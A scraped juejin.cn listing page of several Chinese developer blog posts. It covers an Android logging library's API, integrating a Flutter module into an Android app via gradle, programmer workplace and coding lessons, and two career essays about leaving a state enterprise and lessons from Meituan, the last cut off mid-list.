19:19:43.961[AppLogger] 1
19:19:43.974 2
19:19:43.975[W] 3
19:19:43.976[UserLogger] user debug
19:19:43.977[12578] thread

API


这一节介绍一下库的API


常用方法


/**
* 打开日志,文件保存目录:[Context.getFilesDir()]/flog,
* 默认只打开文件日志,可以调用[FLog.enableConsoleLog()]方法开关控制台日志,
*/

FLog.open(
context = this,

//(必传参数)日志等级 All, Verbose, Debug, Info, Warning, Error
level = FLogLevel.All,

//(可选参数)限制每天日志文件大小(单位MB),小于等于0表示不限制大小,默认100MB
limitMBPerDay = 100,

//(可选参数)自定义日志格式
formatter = AppLogFormatter(),

//(可选参数)自定义日志存储
storeFactory = AppLogStoreFactory(),
)


// 是否打打印控制台日志
FLog.enableConsoleLog(false)


/**
* 删除日志,参数saveDays表示要保留的日志天数,小于等于0表示删除全部日志,
* 此处saveDays=1表示保留1天的日志,即保留当天的日志
*/

FLog.deleteLog(1)


// 关闭日志
FLog.close()

打印日志


interface AppLogger : FLogger

flogV { "Verbose" }
flogD { "Debug" }
flogI { "Info" }
flogW { "Warning" }
flogE { "Error" }

// 打印控制台日志,不会写入到文件中,不需要指定日志标识,tag:DebugLogger
fDebug { "console debug log" }

配置日志标识


可以通过FLog.config方法修改某个日志标识的配置信息,例如下面的代码:


FLog.config {
// 修改日志等级
this.level = FLogLevel.Debug

// 修改tag
this.tag = "AppLoggerAppLogger"
}

自定义日志格式


class AppLogFormatter : FLogFormatter {
override fun format(record: FLogRecord): String {
// 自定义日志格式
return record.msg
}
}

interface FLogRecord {
/** 日志标识 */
val logger: Class<out FLogger>

/** 日志tag */
val tag: String

/** 日志内容 */
val msg: String

/** 日志等级 */
val level: FLogLevel

/** 日志生成的时间戳 */
val millis: Long

/** 日志是否在主线程生成 */
val isMainThread: Boolean

/** 日志生成的线程ID */
val threadID: String
}

自定义日志存储


日志存储是通过FLogStore接口实现的,每一个FLogStore对象负责管理一个日志文件。
所以需要提供一个FLogStore.Factory工厂为每个日志文件提供FLogStore对象。


class AppLogStoreFactory : FLogStore.Factory {
override fun create(file: File): FLogStore {
return AppLogStore(file)
}
}

class AppLogStore(file: File) : FLogStore {
// 添加日志
override fun append(log: String) {}

// 返回当前日志的大小
override fun size(): Long = 0

// 关闭
override fun close() {}
}

结束


库目前还处于alpha阶段,如果有开发者遇到问题了可以及时反馈给作者,最后感谢大家的阅读。


作者:Sunday1990
来源:juejin.cn/post/7306423214493270050
收起阅读 »

Android集成Flutter模块经验记录

记录Android原生项目集成Flutter模块经验,其中不乏一些踩坑,也是几番查找资料之后才成功运用于实际开发。 主要为了记录,将使用简洁的描述。 Flutter开发环境 1. Flutter安装和环境配置 官方文档:flutter.cn/docs/get-...
继续阅读 »

记录Android原生项目集成Flutter模块经验,其中不乏一些踩坑,也是几番查找资料之后才成功运用于实际开发。

主要为了记录,将使用简洁的描述。


Flutter开发环境


1. Flutter安装和环境配置


官方文档:flutter.cn/docs/get-st…

参照官方文档一步步按步骤即可

下载SDK->解压->配置PATH环境变量

其中配置PATH环境变量务必使其永久生效方式


2. AS安装flutter和dart插件


AS安装flutter和dart插件


将 Flutter module 集成到 Android 项目


官方文档:flutter.cn/docs/add-to…

仍然主要是参照官方文档。

有分为使用AS集成和不使用AS集成,其中使用AS集成有AAR集成和使用模块源码集成两种方式。



  • AAR 集成: AAR 机制可以为每个 Flutter 模块创建 Android AAR 作为依赖媒介。当你的宿主应用程序开发者不想安装 Flutter SDK 时,这是一个很好方案。但是每次修改都需要重新编译。

  • 模块源码集成:直接将 Flutter 模块的源码作为子项目的依赖机制是一种便捷的一键式构建方案,但此时需要另外安装 Flutter SDK,这是目前 Android Studio IDE 插件使用的机制。


本文讲述的是使用模块源码集成的方式。


1.创建Flutter Module


使用File > New > New Flutter Project创建,选择Module,官方建议Flutter Module和Android项目在同一个目录下。
创建Flutter Module


2. 配置Module


在Android项目的 settings.gradle中添加以下配置:flutter_module为创建的flutter module名称


// Include the host app project.
include ':app' // assumed existing content
setBinding(new Binding([gradle: this])) // new
evaluate(new File( // new
settingsDir.parentFile, // new
'flutter_module/.android/include_flutter.groovy' // new
)) // new

在应用中引入对 Flutter 模块的依赖:


dependencies {
implementation project(':flutter')
}

3. 编译失败报错:Failed to apply plugin class 'FlutterPlugin'


gradle6.8后 在settings.gradle的dependencyResolutionManagement 下新增了如下配置:


repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)


RepositoriesMode配置在构建中仓库如何设置,总共有三种方式:

FAIL_ON_PROJECT_REPOS

表示如果工程单独设置了仓库,或工程的插件设置了仓库,构建就直接报错抛出异常

PREFER_PROJECT

表示如果工程单独设置了仓库,就优先使用工程配置的,忽略settings里面的

PREFER_SETTINGS

表述任何通过工程单独设置或插件设置的仓库,都会被忽略



settings.gradle里配置的是FAIL_ON_PROJECT_REPOS,Flutter插件又单独设置了repository,所以会构建报错,因此需要把FAIL_ON_PROJECT_REPOS改成PREFER_PROJECT。


因为gradle调整,Android仓库配置都在settings.gradle中,但是因为设置了PREFER_PROJECT,settings.gradle被忽略了,那该怎么解决呢?发现虽然project的gradle文件虽然调整了,但是依然可以跟之前一样配置仓库这些,于是在项目build.gradle中加上settings.gradle中的所有仓库,成功解决问题并编译安装成功。


allprojects{
repositories {
maven {
url "https://plugins.gradle.org/m2/"
}
maven { url "https://s01.oss.sonatype.org/content/groups/public" }
maven { url 'https://jitpack.io' }
google()
// 极光 fcm, 若不集成 FCM 通道,可直接跳过
maven { url "https://maven.google.com" }
maven {
url 'https://artifact.bytedance.com/repository/pangle'
}
}
}

总结:需要先将settings.gradle中repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)替换为repositoriesMode.set(RepositoriesMode.PREFER_PROJECT),
然后在项目build.gradle中添加settings.gradle中的所有仓库。


添加Flutter页面


官方文档:flutter.cn/docs/add-to…

Flutter 提供了 FlutterActivity,用于在 Android 应用内部展示一个 Flutter 的交互界面。需要在清单文件中注册FlutterActivity。


<activity
android:name="io.flutter.embedding.android.FlutterActivity"
android:screenOrientation="portrait"
/>

然后加载FlutterActivity


startActivity(
FlutterActivity.createDefaultIntent(requireContext())
)

此外还有withNewEngine、withCachedEngine等多种加载方式,具体可见官方文档。


添加Flutter视图


官方文档:flutter.cn/docs/add-to…

参考官方demo:github.com/flutter/sam…


创建FlutterViewEngine用以管理FlutterView、FlutterEngine、Activity三者。
FlutterEngine用以执行dart执行器,"showCell"为dart中方法名,FlutterEngine和FlutterView attach之后,会将"showCell"中生成的ui绘制到FlutterView上。


val engine = FlutterEngine(BaseApplication.instance)
engine.dartExecutor.executeDartEntrypoint(
DartExecutor.DartEntrypoint(
FlutterInjector.instance().flutterLoader().findAppBundlePath(),
"showCell"))

在原生页面里面添加FlutterView还是比较麻烦的,需要开发者自己管理FlutterView、FlutterEngine、Activity三者之间生命周期联系。


作者:愿天深海
来源:juejin.cn/post/7306703076337483802
收起阅读 »

工作两年以来,被磨圆滑了,心智有所成长……

刚毕业时候年轻气盛,和邻居组的老板吵了几句。后来我晋升时,发现他是评委…… 曾经的我多么嚣张,现在的我就多么低调。 一路走来,磕磕绊绊,几年来,我总结了工作上的思考…… 工作思考有效控制情绪,在沟通时使用适当的表情包以传达善意。无论线上还是线下,都应避免争吵。...
继续阅读 »

刚毕业时候年轻气盛,和邻居组的老板吵了几句。后来我晋升时,发现他是评委…… 曾经的我多么嚣张,现在的我就多么低调。


一路走来,磕磕绊绊,几年来,我总结了工作上的思考……


工作思考

  1. 有效控制情绪,在沟通时使用适当的表情包以传达善意。无论线上还是线下,都应避免争吵。只有和气相处,我们才能推动工作的进展。
  2. 在讨论具体问题之前,先进行一些预备性的交流。情绪应放在第一位,工作讨论放在第二位。如果对方情绪不好,最好选择另一个时间再进行讨论。
  3. 在与他人交流时要保持初学者的态度和需求,不要用技术去怼人。
  4. 进入新团队先提升自己在团队的业务能力,对整个系统有足够的了解,不要怕问问题和学习。不要新入职就想毁天灭地,指手画脚 ”这里的设计不合理,那里有性能瓶颈“。
  5. 在各个事情上,都要比别人多了解一点。对于关键的事情要精通,对于其他事情也要多花一点时间去投入。
  6. 遇到困难时,先自己思考和尝试解决,然后再请教他人。不要机械地提问,也不要埋头一直搞而不主动提问。但如果是新入职,可以例外,多提问总没有坏处,但要在思考的基础上提问。
  7. 当向他人求助时,首先要清晰地阐述自己正在面临的问题、目标、已尝试的方法以及所需要的帮助和紧迫程度。所有的方面都要有所涉及。在提问之前,最好加上一句是否可以帮忙,这样对解决问题是否有帮助更加明确。因为别
  8. 一定有时间来帮助你,即使有时间,你也不一定找对了人。
  9. 在明确软件产品要解决的业务问题之前,先了解自己负责的那部分与业务的对应关系。
  10. 主要核心问题一定要提前叙述清楚,不要等别人问
  11. 要始终坚持追踪事情的进展,与与自己有交互的队友讨论接口,并关注他们的进度,以确保协调一致。
  12. 要主动向队友述说自己的困难,在项目延期或遇到困难时,要主动求助同事或领导,是否能分配部分工作给其他人,不要全部自己承担。
  13. 如果预计任务需要延期,要提前告知领导。如果有进展,也要及时向领导汇报。
  14. 如果无法参加会议但是自己是会议的重要参与者,一定要提前告知领导自己的进度、计划和想法,最好以书面形式或电话告知。如果可以远程参加,可以选择电话参加。除非有极其重要的事情,务必参加会议。不要假设别人都知道你的进度和想法。
  15. 要少说话,多做事。在开会时,不要凭借想当然的想法,可以询问其他小组的细节,但不要妄自揣测别人的细节,以为自己是对的。否则会被批评。
  16. 程序员如果经验丰富,很容易产生自我感觉良好的情绪。要避免这种情况,我们必须使用自己没有使用过的东西,并进行充分的测试,这样才能减少问题的出现。要提前考虑好所有细节,不要认为没有问题就不加考虑。要给自己留出处理问题的时间,并及时反馈并寻求帮助。
  17. 当与他人交流时,要始终保持有始有终的态度,特别是当寻求他人帮助时,最后一定要确认OK。要胆大心细,不要害怕犯错,要有成果,要快速并提高效率,不择手段地追求快速,并对结果负责。工作一定要完成闭环,要记事情要好,记住重要的事情并使用备忘录记录待办事项。
  18. 每完成一个项目后,应该回顾一下使用了什么知识、技能和工具。要总结并记录下这些,并与之前积累的知识和技能进行关联。如果发生了错误,也要记录下来,并将经验进行总结。
  19. 每天早上先思考今天要做什么,列出1、2、3,然后每天晚上下班时回顾已完成的任务、未完成的任务以及遇到的问题。
  20. 如果有待办事项没有立即处理,一定要用工具记录下来,不要心存侥幸以为自己能记住。

代码编写和技术问题

  1. 在代码编写过程中要认真对待,对于代码审核之前,要自己好好检查,给人一种可靠的感觉。
  2. 对于代码审核,不要过于苛刻,要容忍个人的发挥。
  3. 在提交代码给测试之前,应该先自行进行测试验证通过。
  4. 如果接口没有做到幂等性,那就会给未来的人工运维增加困难。当数据存在多份副本时,例如容量信息和上下游同时存在的资源,需要评估数据不一致的可能性以及解决方法。可以考虑通过数据校准或严格的代码编写来保证最终的一致性,或者考虑只在一方保存数据或以一方的数据为准。一旦出现数据不一致,则以其中一方的数据为准,无需人为干预即可自动达到数据再次一致。
  5. 要学会横向和纵向分割隔离系统,明确系统的边界,这样可以更好地进行并发合作开发和运维,提高效率。各个子系统应该独立变化,新的设计要考虑向后兼容性和上下游兼容性问题,包括上线期间的新老版本兼容。在设计评审阶段就应该重视这些问题。
  6. 如果在代码审查中无法发现业务问题或代码风格问题,不妨重点关注日志的打印是否合理和是否存在bug。
  7. 在依赖某个服务或与其他服务共享时,要确认该服务是否要废弃、是否是系统的瓶颈,以及是否可以自己进行改造或寻找更优的提供者。
  8. 使用缓存时注意预热,以防止开始使用时大量的缓存未命中导致数据库负载过高。
  9. 在使用rpc和mq、共享数据库、轮询、进程间通信和服务间通信时,要根据情况做出选择,并注意不要产生依赖倒置。
  10. 在接口有任何变动时,务必通过书面和口头确认。在这方面,要多沟通,尽量详细,以避免出现严重问题!毕竟,软件系统非常复杂,上下游之间的理解难以保持一致。
  11. 尽可能使用批量接口,并考虑是否需要完全批量查询。当批量接口性能较差时,设置适当的最大数量,并考虑客户端支持将批量接口聚合查询。批量接口往往是tp99最高的接口。
  12. 对于系统重要设计和功能,要考虑降级预案,并加入一些开关来满足安全性和性能需求。
  13. 如果数据不一致,可以考虑对比两方的不一致数据并打印错误日志,例如es/db等。
  14. 在系统设计之前,要充分调研其他人的设计,了解背景和现状。
  15. 废弃的代码应立即删除,如果以后需要,可以从git中找回。如果实在不想删除,也要注释掉!特别是对外的rpc、http接口,不使用的要立即删除,保持代码简洁。接手项目的人不熟悉背景情况,很难判断这段废弃代码的意义,容易造成混乱和浪费时间。要努力将其和其他有效代码联系起来,但这很困难。
  16. 在代码中要有详尽的日志记录!但是必须有条理和规范,只打印关键部分。对于执行的定时任务,应该打印足够详细的统计结果。最好使用简洁明了的日志,只记录最少量但最详细的信息,反馈程序的执行路径。
  17. 如果接口调用失败或超时,应该如何处理?幂等和重试如何处理?

当你写下一行代码前

  1. 要明确这行代码可能出现的异常情况以及如何处理,是将异常隔离、忽略还是单独处理,以防遗漏某些异常。
  2. 需要确保该行代码的输入是否已进行校验,并考虑校验可能引发的异常。
  3. 需要思考由谁调用该代码,会涉及哪些上游调用,并确定向调用者提供什么样的预期结果。
  4. 需要确定是否调用了一个方法或接口,以及该调用是否会阻塞或是异步的,并考虑对性能的影响。
  5. 需要评估该行代码是否可以进行优化,是否可以复用。
  6. 如果该行代码是控制语句,考虑是否能简化控制流程是否扁平。
  7. 对于日志打印或与主要逻辑无关的输出或报警,是否需要多加关注,因为它们可能还是很重要的。
  8. 如果代码是set等方法,也要仔细检查,避免赋错属性。IDE可能会有误提示,因为属性名前缀类似,set方法容易赋值错误。

当你设计一个接口时

  1. 接口的语义应该足够明确,避免出现过于综合的上帝接口
  2. 如果语义不明确,需要明确上下游的期望和需求。有些需求可以选择不提供给上游调用。
  3. 对于接口超时的处理,可以考虑重试和幂等性。在创建和删除接口时要确定是否具有幂等性,同时,幂等后返回的数据是否和首次请求一致也需要考虑。
  4. 接口是否需要防止并发,以及是否成为性能瓶颈也需要考虑。
  5. 设计接口时要确保调用方能够完全理解,如果他对接口的理解有问题,就需要重新设计接口。这一点非常关键,可以通过邮件确认或者面对面交流来确保调用方理解得清楚。
  6. 在开发过程中,需要定期关注队友的开发进度,了解他们是否已经使用了接口以及是否遇到了问题。这个原则适用于所有的上下游和相关方,包括产品和测试人员。要想清楚如何对接口进行测试,并与测试人员明确交流。
  7. 最好自己整理好测试用例,不要盲目地指望测试人员能发现所有的bug。
  8. 需要考虑是否需要批量处理这个接口,以减少rpc请求的次数。但即使是批量处理,也要注意一次批处理最多处理多少条记录,不要一次性处理全部记录,避免由于网络阻塞或批量处理时间过长导致上游调用超时,需要适度控制批量处理的规模。


作者:五阳神功
来源:juejin.cn/post/7306025036656787475
收起阅读 »

我为什么扔掉国企铁饭碗进入互联网

近期写了一篇文章《# 美团三年,总结的10条血泪教训》,后台很多网友留言对我过往工作经历感兴趣,小红书也收到很多薯友关于职业选择的咨询,于是就有了这篇文章。希望能给正在求职或者想转型的朋友,带来一些帮助。 01 放弃腾讯加入国企 我是2015年硕士毕业,14年...
继续阅读 »

近期写了一篇文章《# 美团三年,总结的10条血泪教训》,后台很多网友留言对我过往工作经历感兴趣,小红书也收到很多薯友关于职业选择的咨询,于是就有了这篇文章。希望能给正在求职或者想转型的朋友,带来一些帮助。


01 放弃腾讯加入国企


我是2015年硕士毕业,14年秋招时,面了6家公司,拿到了几个offer,包括腾讯和我后来入职的央企。


腾讯当时发offer的是SNG社交网络事业群(Social Network Gr0up,简称SNG),旗下主要产品是QQ和QQ音乐,在当时算是最核心的事业群之一。腾讯当时算是最炙手火热的大厂,类比于今日的字节。


能拿到offer,想想主要两个原因,一是我曾经在大连腾讯(全称是:腾讯无线大连大连研发中心,属于MIG事业群的一家子公司)实习了4个多月,对腾讯的企业文化还有内部协作模式非常了解;另外一点,要感谢我的导师,读研时参与的几个项目都非常有含金量,面试时也能很好地和面试官吹一吹。


拿到央企的offer倒是挺意外,央企是非常看重学校名气还有在校期间学习成绩的,在这两点上,我都不占优势。当时只是有面试的机会,经过一轮笔试和两轮面试,顺利拿到offer。很多学习成绩好,各种大奖拿到手软、一心奔着北京户口去的,反而止步二轮三轮。


所以,企业招聘,一定不是挑选最优秀的,而是选择最合适的,明白这个道理,在应聘的时候,就不会妄自菲薄,多去尝试,就有机会。


腾讯和央企这两个算是最好的offer,当时纠结到底选择哪一个。腾讯岗base深圳,央企base北京,所以,选择的核心,无非是选择未来在哪座城市发展。


在东北上学6.5年,喜欢上了北方的气候和文化,喜欢北方人的直接,也爱上了北方的包子和面条,最重要的,最好的一些朋友,都在北京和大连,所以,即便央企的薪资只有腾讯的一半,知名度也远远比不上腾讯, 但还是义无反顾的拒掉了腾讯offer。当时的出发点是,选择一个和自己有情感连接和认同感的城市,比一个完全陌生的城市,对我更重要。


人生每一个十字路口,都有很多不同的选择,遵从自己的内心很重要。


我很庆幸当时的选择。来北京的同一年,我的太太从南方另外一座城市出发,一路北上,拖着大大的行李箱,也开启了北漂。


我们2015年相识,18年正式确立关系,19年结婚,现在有一个2岁可爱的小朋友。


太太是我最好的朋友,是我的老师,也是对我人生影响最大的一个人,我们相互支持、陪伴、成长,一起经营我们的小家。


所以,人生中很多的相逢,也是冥冥中注定好的。


02 我为什么离开了国企


我加入的单位,是XX央企下的一个研究所,因为涉密原因,直接用SDT代替吧。


最初面试时,不知道SDT有多厉害,只知道福利待遇在各种研究所里还算可以,上班地点在朋友合租的房子附近,不用每天挤地铁。


入职后才知道,SDT的业务,基本属于行业垄断地位,唯一的竞争对手是中电科旗下的另一家研究所。


入职时的岗位应用软件开发岗,工作第一年,因为单位业务涉及全国各地,需要很多人做系统集成和技术支持,作为新人,首先得有奉献精神,很自然的被派到前线。有半年时间,一个人全国各地出差,涉及东北、华北、华南七省,最北去过黑龙江佳木斯,最南抵达海口。那是一段兴奋又略显孤单的时光。


图片国企出差时去过最远的地方


工作第二年,轮岗到另外一个部门,做嵌入式开发,接触到的业务,算是单位最核心业务了。


这一年,在技术上提升也非常快,从一个完全没有嵌入式经验的小白,到知道怎么和硬件交互,用C语言写上层应用,也在几个大的项目里,配合项目经理,做了很多项目管理的工作。


因为所从事的业务,关系到国家信息安全,工作的价值感也非常高,觉得自己直接在为国效力。


国企主要是项目制,项目周期长,大多数时候都不需要加班,按部就班的往前推进就行~因为没有明确的流程规范,很多时候,一个人要身兼数职,开发、测试、项目管理、各种类型的评审、打印材料…这些都要做,好处是,可以很好的培养综合能力,与之对应的,杂而不精。


程序员是一个特别讲究刻意练习的职业,在早期,深度比广度更重要。只有密集输出,成长才会快。我的室友安仔在一家私企做开发,经常跟我提spring、微服务、全栈、Native、H5这些概念,当时我听的一脸懵,莫非是国企的技术栈过于陈旧,跟不上主流软件开发了?那时候开始有了些危机感。


好在大多数时候不加班,下班后可以直接去五道口三联韬奋书店看书,或者跑步、游泳。这个时候慢慢建立起的运动和阅读的好习惯,一直持续至今。


工作第三年,完全适应了国企的节奏,也有了一些小成绩,但内心总觉得隐隐不安。常常问自己一个问题,我能在这里待一辈子吗?工作七八年后,最多跟我们现在的项目经理差不多,这是我想要的工作吗?为国家效力的情怀,能否支持我走得更远、更久?如果我在里面待了10年,有一天想出来,是否还能找到工作?


带着很多的疑问,还有对未来的不确定感,开始了探索之旅。也在合同结束前的几个月,尝试找工作。那时候,互联网还处在蓬勃发展期,华为还没被美国制裁,总共面了四五家公司,非常幸运拿到了华为和阿里的offer,最后选择了阿里。


03 在阿里的那些事


在阿里的两年多,算是快乐和痛苦并存吧。快乐源自于认知快速迭代,痛苦也源于此。


在阿里和国企的工作内容完全不一样,技术栈也完全不一样,前几个月,一边快速的学习各种新技术,学习大厂人的沟通模式,学习各种黑话,也要应对来自上级的压力,工作本身的压力,好在天性比较皮实,咬牙坚持着,化压力为动力,大半年的时间,慢慢缓了过来。


大厂的高压和竞争环境,迫使多数人放弃了真我,时刻要迎接战斗或者提防别人。人和人之间,也很难建立起真正的共情,这和在国企时大家相互帮助,共同把事做好,差别巨大。


阿里让我见识了真正的职场,也迫使我不断提升自己的专业性还有抗压能力,后面在美团的工作,相对来说,要轻松很多了。


图片
阿里20周年年会现场


不断打破舒适圈,重塑自我的过程,并不轻松。


扛过去了,再回首,会发现那是自己成长最快的一段时光,想到的反而都是感激。


离开阿里有好几年了,偶尔还会和前同事聚一聚,当大家放下曾经的身份,回归到真我时,每个人其实都很可爱,喜怒哀乐、家长里短,都能聊一聊,阿里人还是非常有情怀的一群人。


04 尊重过去,努力面前


离开国企后,常常会有人问我后不后悔,最近两年,互联网增长见顶,内卷加剧,小红书或者微信里面,咨询我的,多数都是了解如何进国企。


那么,放弃一份直接效力国家、在行业有垄断地位的国企工作,我后悔了吗?


答案是:不后悔。


人生是一个漫长的过程,搞清楚自己想要什么非常重要,在我们年轻的时候,所有的探索都是值得的。


大多数像我一样的普通人,很难直接回答自己想要什么,更多时候,是通过不断的做除法,排除不适合自己、或者自己不想要的。在不断的尝试,不断深挖自己过程中, 渐渐找到自己的定位,翻越愚昧之巅,跨过绝望之谷,走上开悟之坡。


职业生涯是这样,寻找人生另一半也是这样,和错的人挥手告别,才能和对的人相逢。


05 关于求职的一点点想法


作为过来人,如果要结合自己的经历,给几点建议,我想是这三点:


Ⅰ.小事从脑,大事从心


在人生每一个大的决定面前,我们不需要做太多的理性分析,追随自己的内心吧,世界可能会欺骗你,但你的内心不会。做一个有情感、有血有肉的人,胜过成为一位精致的利己主义者。


Ⅱ.人生没有白走的路,每一步都算数


每一个选择,都会引领我们走上一段奇妙的路,无论起步时选择的是hard模式还是easy模式,我们都有机会在这个过程中,不断地丰富和完善自己。所以,不要后悔曾经做过的任何选择,不要否定自己,不要和自己对抗,人生没有白走的路,每一步都算数。


Ⅲ.谦卑+open+学会感激,成为更好的自己


一直觉得自己是一个天资平庸的人,在人生的赛场上,没有太大的竞争力,但在很多个关键节点上,都能得到一些人的帮助,我想这也跟最近十多年被训练出的心性有关吧:谦卑+open+学会感激。


谦卑就是当自己不会的时候,承认自己的不足。把姿态放得足够低,才有机会被抬高;


open就是不封闭自己,能听得进各种声音,也能接纳各种人和事,对任何选择都持开放的心态;


学会感激,这个就很直接了,当我们珍视身边人的帮助,愿意多说一句感谢时,帮助过我们的人,下一次还会再帮我们一次,人生之路也会越走越宽。


最后,如果你在求职和职业选择、职业转型上,有任何的困惑,都可以加我微信和我聊聊。如果只是对辉哥好奇,也可以围观我的朋友圈,辉哥会不定期分享职场、育儿、亲密关系、阅读相关的心得体会。


作者:工程师酷里
来源:juejin.cn/post/7306266546968756239
收起阅读 »

美团三年,总结的10条血泪教训

在美团的三年多时光,如同一部悠长的交响曲,高高低低,而今离开已有一段时间。闲暇之余,梳理了三年多的收获与感慨,总结成10条,既是对过去一段时光的的一个深情回眸,也是对未来之路的一份期许。 倘若一些感悟能为刚步入职场的年轻人,或是刚在职业生涯中崭露头角的后起之秀...
继续阅读 »

在美团的三年多时光,如同一部悠长的交响曲,高高低低,而今离开已有一段时间。闲暇之余,梳理了三年多的收获与感慨,总结成10条,既是对过去一段时光的的一个深情回眸,也是对未来之路的一份期许。


倘若一些感悟能为刚步入职场的年轻人,或是刚在职业生涯中崭露头角的后起之秀,带来一点点启示与帮助,也是莫大的荣幸。


01 结构化思考与表达


美团是一家特别讲究方法论的公司,人人都要熟读四大名著《高效能人士的七个习惯》、《金字塔原理》、《用图表说话》和《学会提问》。


与结构化思考和表达相关的,是《金字塔原理》,作者是麦肯锡公司第一位女性咨询顾问。这本书告诉我们,思考和表达的过程,就像构建金字塔(或者构建一棵树),先有整体结论,再寻找证据,证据之间要讲究相互独立、而且能穷尽(MECE原则),论证的过程也要按特定的顺序进行,比如时间顺序、空间顺序、重要性顺序…


作为大厂社畜,日常很大一部分工作就是写文档、看别人文档。大家做的事,但最后呈现的结果却有很大差异。一篇逻辑清晰、详略得当的文档,给人一种如沐春风的感受,能提炼出重要信息,是好的参考指南。


结构化思考与表达算是职场最通用的能力,也是打造个人影响力最重要的途径之一。


02 忘掉职级,该怼就怼


在阿里工作时,能看到每个人的Title,看到江湖地位高(职级高+入职时间早)的同学,即便跟自己没有汇报关系,不自然的会多一层敬畏。推进工作时,会多一层压力,对方未读或已读未回时,不知如何应对。


美团只能看到每个人的坑位信息,还有Ta的上级。工作相关的问题,可以向任何人提问,如果协同方没有及时响应,隔段时间@一次,甚至"怼一怼",都没啥问题,事情一直往前推进才最重要。除了大象消息直接提问外,还有个大杀器--TT(公司级问题流转系统),在上面提问时,加上对方主管,如果对方未及时回应,问题会自动升级,每天定时Push,直到解决为止。


我见到一些很年轻的同事,他们在推动OKR、要资源的事上,很有一套,只要能达到自己的目标,不会考虑别人的感受,最终,他们还真能把事办成。


当然了,段位越高的人,越能用自己的人格魅力、影响力、资源等,去影响和推动事情的进程,而不是靠对他人的Push。只是在拿结果的事上,不要把自己太当回事,把别人太当回事,大家在一起,也只是为了完成各自的任务,忘掉职级,该怼时还得怼。


03 用好平台资源


没有人能在一家公司待一辈子,公司再牛,跟自己关系不大,重要的是,在有限的时间内,最大化用好平台资源。


在美团除了认识自己节点的同事外,有幸认识一群特别棒的协作方,还有其他BU的同学。


这些优秀的人身上,有很多共同的特质:谦虚、利他、乐于分享、双赢思维。


有两位做运营的同学。


一位是无意中关注他公众号结识上的。他公众号记录了很多职场成长、家庭建造上的思考和收获,还有定期个人复盘。他和太太都是大厂中层管理者,从文章中看到的不是他多厉害,而是非常接地气的故事。我们约饭了两次,有很多共同话题,现在还时不时有一些互动。


一位职级更高的同学,他在内网发起了一个"请我喝一杯咖啡,和我一起聊聊个人困惑"的活动,我报名参与了一期。和他聊天的过程,特别像是一场教练对话(最近学习教练课程时才感受到的),帮我排除干扰、聚焦目标的同时,也从他分享个人成长蜕变的过程,收获很多动力。(刚好自己最近也学习了教练技术,后面也准备采用类似的方式,去帮助曾经像我一样迷茫的人)


还有一些协作方同学。他们工作做得超级到位,能感受到,他们在乎他人时间;稍微有点出彩的事儿,不忘记拉上更多人。利他和双赢思维,在他们身上是最好的阐释。


除了结识优秀的人,向他们学习外,还可以关注各个通道/工种的课程资源。


在大厂,多数人的角色都是螺丝钉,但千万不要局限于做一颗螺丝钉。多去学习一些通识课,了解商业交付的各个环节,看清商业世界,明白自己的定位,超越自己的定位。


04 一切都是争取来的


工作很多年了,很晚才明白这个道理。


之前一直认为,只要做好自己该做的,一定会被看见,被赏识,也会得到更多机会。但很多时候,这只是个人的一厢情愿。除了自己,不会有人关心你的权益。


社会主义初级阶段,我国国内的主要矛盾是人民日益增长的物质文化需要同落后的社会生产之间的矛盾。无论在哪里,资源都是稀缺的,自己在乎的,就得去争取。


想成长某个技能、想参与哪个模块、想做哪个项目,升职加薪…自己不提,不去争取,不会有人主动给你。


争不争取是一回事,能不能得到是一回事,只有争取,才有可能得到。争取了,即便没有得到,最终也没失去什么。


05 关注商业


大公司,极度关注效率,大部分岗位,拆解的粒度越细,效率会越高,这些对组织是有利的。但对个人来说,则很容易螺丝钉化。


做技术的同学,更是这样。


做前端的同学,不会关注数据是如何落库的;做后端的同学,不会思考页面是否存在兼容性问题;做业务开发的,不用考虑微服务诸多中间件是如何搭建起来的……


大部分人都想着怎么把自己这摊子事搞好,不会去思考上下游同学在做些什么,更少有人真正关注商业,关心公司的盈利模式,关心每一次产品迭代到底带来哪些业务价值。


把手头的事做好是应该的,但绝不能停留在此。所有的产品,只有在商业社会产生交付,让客户真正获益,才是有价值的。


关注商业,能帮我们升维到老板思维,明白投入产出比,抓大放小;也帮助我们,在碰到不好的业务时,及时止损;更重要的是,它帮助我们真正看清趋势,提前做好准备。


《五分钟商学院》系列,是很好的商业入门级书籍。尽管作者刘润最近存在争议,但不可否认,他比我们大多数人段位还是高很多,他的书值得一读。


06 培养数据思维


当今数字化时代,数据思维显得尤为重要。数据不仅可以帮助我们更好地了解世界,还可以指导我们的决策和行动。


非常幸运的是,在阿里和美团的两份经历,都是做商业化广告业务,在离钱 最近的地方,也培养了数据的敏感性。见过商业数据指标的定义、加工、生产和应用全流程,也在不断熏陶下,能看懂大部分指标背后的价值。


除了直接面向业务的数据,还有研发协作全流程产生的数据。数据被记录和汇总统计后,能直观地看到每个环节的效率和质量。螺丝钉们的工作,也彻彻底底被数字量化,除了积极面对虚拟化、线上化、数字化外,我们别无他法。


受工作数据化的影响,生活中,我也渐渐变成了一个数据记录狂,日常运动(骑行、跑步、健走等)必须通过智能手表记录下来,没带Apple Watch,感觉这次白运动了。每天也在很努力地完成三个圆环。


数据时代,我们沦为了透明人。也得益于数据被记录和分析,我们做任何事,都能快速得到反馈,这也是自我提升的一个重要环节。


07 做一个好"销售"


就某种程度来说,所有的工作,本质都是销售。


这是很多大咖的观点,我也是很晚才明白这个道理。


我们去一家公司应聘,本质上是在讲一个「我很牛」的故事,销售的是自己;日常工作汇报、季度/年度述职、晋升答辩,是在销售自己;在任何一个场合曝光,也是在销售自己。


如果我们所服务的组织,对外提供的是一件产品或一项服务,所有上下游协作的同学,唯一在做的事就是,齐心协力把产品/服务卖出去, 我们本质做的还是销售。


所以, 千万不要看不起任何销售,也不要认为认为销售是一件很丢面子的事。


真正的大佬,随时随地都在销售。


08 少加班多运动


在职场,大家都认同一个观点,工作是做不完的。


我们要做的是,用好时间管理四象限法,识别重要程度和优先级,有限时间,聚焦在固定几件事上。


这要求我们不断提高自己的问题识别能力、拆解能力,还有专注力。


我们会因为部分项目的需要而加班,但不会长期加班。


加班时间短一点,就能腾出更多时间运动。


